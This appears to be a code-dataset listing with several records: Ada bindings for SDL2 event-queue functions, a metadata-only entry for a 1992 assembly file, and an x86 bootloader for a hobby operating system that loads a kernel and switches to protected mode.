minType : SDL_stdinc_h.Uint32;
maxType : SDL_stdinc_h.Uint32) return int; -- ..\SDL2_tmp\SDL_events.h:635
pragma Import (C, SDL_PeepEvents, "SDL_PeepEvents");
-- @}
--*
-- * Checks to see if certain event types are in the event queue.
--
function SDL_HasEvent (c_type : SDL_stdinc_h.Uint32) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:643
pragma Import (C, SDL_HasEvent, "SDL_HasEvent");
function SDL_HasEvents (minType : SDL_stdinc_h.Uint32; maxType : SDL_stdinc_h.Uint32) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:644
pragma Import (C, SDL_HasEvents, "SDL_HasEvents");
--*
-- * This function clears events from the event queue
-- * This function only affects currently queued events. If you want to make
-- * sure that all pending OS events are flushed, you can call SDL_PumpEvents()
-- * on the main thread immediately before the flush call.
--
procedure SDL_FlushEvent (c_type : SDL_stdinc_h.Uint32); -- ..\SDL2_tmp\SDL_events.h:652
pragma Import (C, SDL_FlushEvent, "SDL_FlushEvent");
procedure SDL_FlushEvents (minType : SDL_stdinc_h.Uint32; maxType : SDL_stdinc_h.Uint32); -- ..\SDL2_tmp\SDL_events.h:653
pragma Import (C, SDL_FlushEvents, "SDL_FlushEvents");
--*
-- * \brief Polls for currently pending events.
-- *
-- * \return 1 if there are any pending events, or 0 if there are none available.
-- *
-- * \param event If not NULL, the next event is removed from the queue and
-- * stored in that area.
--
function SDL_PollEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:663
pragma Import (C, SDL_PollEvent, "SDL_PollEvent");
--*
-- * \brief Waits indefinitely for the next available event.
-- *
-- * \return 1, or 0 if there was an error while waiting for events.
-- *
-- * \param event If not NULL, the next event is removed from the queue and
-- * stored in that area.
--
function SDL_WaitEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:673
pragma Import (C, SDL_WaitEvent, "SDL_WaitEvent");
--*
-- * \brief Waits until the specified timeout (in milliseconds) for the next
-- * available event.
-- *
-- * \return 1, or 0 if there was an error while waiting for events.
-- *
-- * \param event If not NULL, the next event is removed from the queue and
-- * stored in that area.
-- * \param timeout The timeout (in milliseconds) to wait for next event.
--
function SDL_WaitEventTimeout (event : access SDL_Event; timeout : int) return int; -- ..\SDL2_tmp\SDL_events.h:685
pragma Import (C, SDL_WaitEventTimeout, "SDL_WaitEventTimeout");
--*
-- * \brief Add an event to the event queue.
-- *
-- * \return 1 on success, 0 if the event was filtered, or -1 if the event queue
-- * was full or there was some other error.
--
function SDL_PushEvent (event : access SDL_Event) return int; -- ..\SDL2_tmp\SDL_events.h:694
pragma Import (C, SDL_PushEvent, "SDL_PushEvent");
type SDL_EventFilter is access function (arg1 : System.Address; arg2 : access SDL_Event) return int;
pragma Convention (C, SDL_EventFilter); -- ..\SDL2_tmp\SDL_events.h:696
--*
-- * Sets up a filter to process all events before they change internal state and
-- * are posted to the internal event queue.
-- *
-- * The filter is prototyped as:
-- * \code
-- * int SDL_EventFilter(void *userdata, SDL_Event * event);
-- * \endcode
-- *
-- * If the filter returns 1, then the event will be added to the internal queue.
-- * If it returns 0, then the event will be dropped from the queue, but the
-- * internal state will still be updated. This allows selective filtering of
-- * dynamically arriving events.
-- *
-- * \warning Be very careful of what you do in the event filter function, as
-- * it may run in a different thread!
-- *
-- * There is one caveat when dealing with the ::SDL_QuitEvent event type. The
-- * event filter is only called when the window manager desires to close the
-- * application window. If the event filter returns 1, then the window will
-- * be closed, otherwise the window will remain open if possible.
-- *
-- * If the quit event is generated by an interrupt signal, it will bypass the
-- * internal queue and be delivered to the application at the next event poll.
--
procedure SDL_SetEventFilter (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:723
pragma Import (C, SDL_SetEventFilter, "SDL_SetEventFilter");
--*
-- * Return the current event filter - can be used to "chain" filters.
-- * If there is no event filter set, this function returns SDL_FALSE.
--
function SDL_GetEventFilter (filter : System.Address; userdata : System.Address) return SDL_stdinc_h.SDL_bool; -- ..\SDL2_tmp\SDL_events.h:730
pragma Import (C, SDL_GetEventFilter, "SDL_GetEventFilter");
--*
-- * Add a function which is called when an event is added to the queue.
--
procedure SDL_AddEventWatch (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:736
pragma Import (C, SDL_AddEventWatch, "SDL_AddEventWatch");
--*
-- * Remove an event watch function added with SDL_AddEventWatch()
--
procedure SDL_DelEventWatch (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:742
pragma Import (C, SDL_DelEventWatch, "SDL_DelEventWatch");
--*
-- * Run the filter function on the current event queue, removing any
-- * events for which the filter returns 0.
--
procedure SDL_FilterEvents (filter : SDL_EventFilter; userdata : System.Address); -- ..\SDL2_tmp\SDL_events.h:749
pragma Import (C, SDL_FilterEvents, "SDL_FilterEvents");
-- @{
--*
-- * This function allows you to set the state of processing certain events.
-- * - If \c state is set to ::SDL_IGNORE, that event will be automatically
-- * dropped from the event queue and will not be filtered.
-- * - If \c state is set to ::SDL_ENABLE, that event will be processed
-- * normally.
-- * - If \c state is set to ::SDL_QUERY, SDL_EventState() will return the
-- * current processing state of the specified event.
--
function SDL_EventState (c_type : SDL_stdinc_h.Uint32; state : int) return SDL_stdinc_h.Uint8; -- ..\SDL2_tmp\SDL_events.h:767
pragma Import (C, SDL_EventState, "SDL_EventState");
-- @}
--*
-- * This function allocates a set of user-defined events, and returns
-- * the beginning event number for that set of events.
-- *
-- * If there aren't enough user-defined events left, this function
-- * returns (Uint32)-1
--
function SDL_RegisterEvents (numevents : int) return SDL_stdinc_h.Uint32; -- ..\SDL2_tmp\SDL_events.h:778
pragma Import (C, SDL_RegisterEvents, "SDL_RegisterEvents");
-- Ends C function definitions when using C++
-- vi: set ts=4 sw=4 expandtab:
end SDL_events_h;
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Window.asm | prismotizm/gigaleak | 0 | 17340 | <reponame>prismotizm/gigaleak
Name: Window.asm
Type: file
Size: 25851
Last-Modified: '1992-11-18T01:48:27Z'
SHA-1: 96B695104427D18C422FADA947172E82F6DA7868
Description: null
|
src/bootloader_i386.asm | Quatroctus/Startaste | 1 | 94443 | ; bootloader for Startaste OS.
[BITS 16]
[ORG 0x7C00]
; the kernel size may need to be ajusted to fit the size of whatever comes after.
%define KERNEL_SIZE 4
%define KERNEL_OFFSET 0x200
bootloader:
; first load the kernel into memory, then enter protected mode, and jump to the kernel.
mov bp, 0x9000 ; update the base and stack pointers.
mov sp, bp
.read_disk:
; read the disk
mov bx, KERNEL_OFFSET ; set the offset.
mov ax, 0x07C0
mov ds, ax
mov es, ax
mov dl, [BOOT_DRIVE]
mov ah, 02h ; function: read sectors from drive
mov al, KERNEL_SIZE ; sectors to read
mov ch, 0x0 ; tracks
mov cl, 0x2 ; sector number
mov dh, 0x0 ; head
mov dl, 0x80 ; drive
int 0x13
; if the disk doesn't load. then jump to printing an error.
jc .error
cmp al, KERNEL_SIZE ; compare to see if we read the expected amount of sectors.
jne .error
; otherwise go to loading the gdt
jmp load_gdt
.error:
mov si, ERROR_MSG
mov ah, 01h ; function: get status of last drive operation.
mov dl, 0x0 ; drive
int 0x13
add [si], ah
call print_string
jmp $
; now load the gdt, and jump to the kernel.
load_gdt:
cli ; disable interrupts.
xor ax, ax
mov ds, ax ; set data segment to 0 (used by lgdt)
lgdt [gdt_descriptor] ; load the GDT descriptor
mov eax, cr0 ; copy the contents of cr0 into eax
or eax, 1 ; set bit 0 to 1
mov cr0, eax ; copy the contents of eax back into cr0
jmp 08h:protected_mode ; jump to code segment, offset protected_mode
[BITS 32] ; We now need 32-bit instructions
protected_mode:
mov ax, 10h ; Save data segment identifyer
mov ds, ax ; Move a valid data segment into the data segment register
mov ss, ax ; Move a valid data segment into the stack segment register
mov esp, 90000h ; Move the stack pointer to 90000h
call enable_A20
jmp 08h:kernel_start_offset
ERROR_MSG db "Error in booting.", 0
BOOT_DRIVE db 0
%include "utils/gdt.asm"
%include "utils/print_string.asm"
%include "utils/A20.asm"
times 510-($-$$) db 0 ; Padding for the rest of boot sector minus 2 special chars
dw 0xAA55
kernel_start_offset: ; all the kernel code is automaticly loaded after this.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.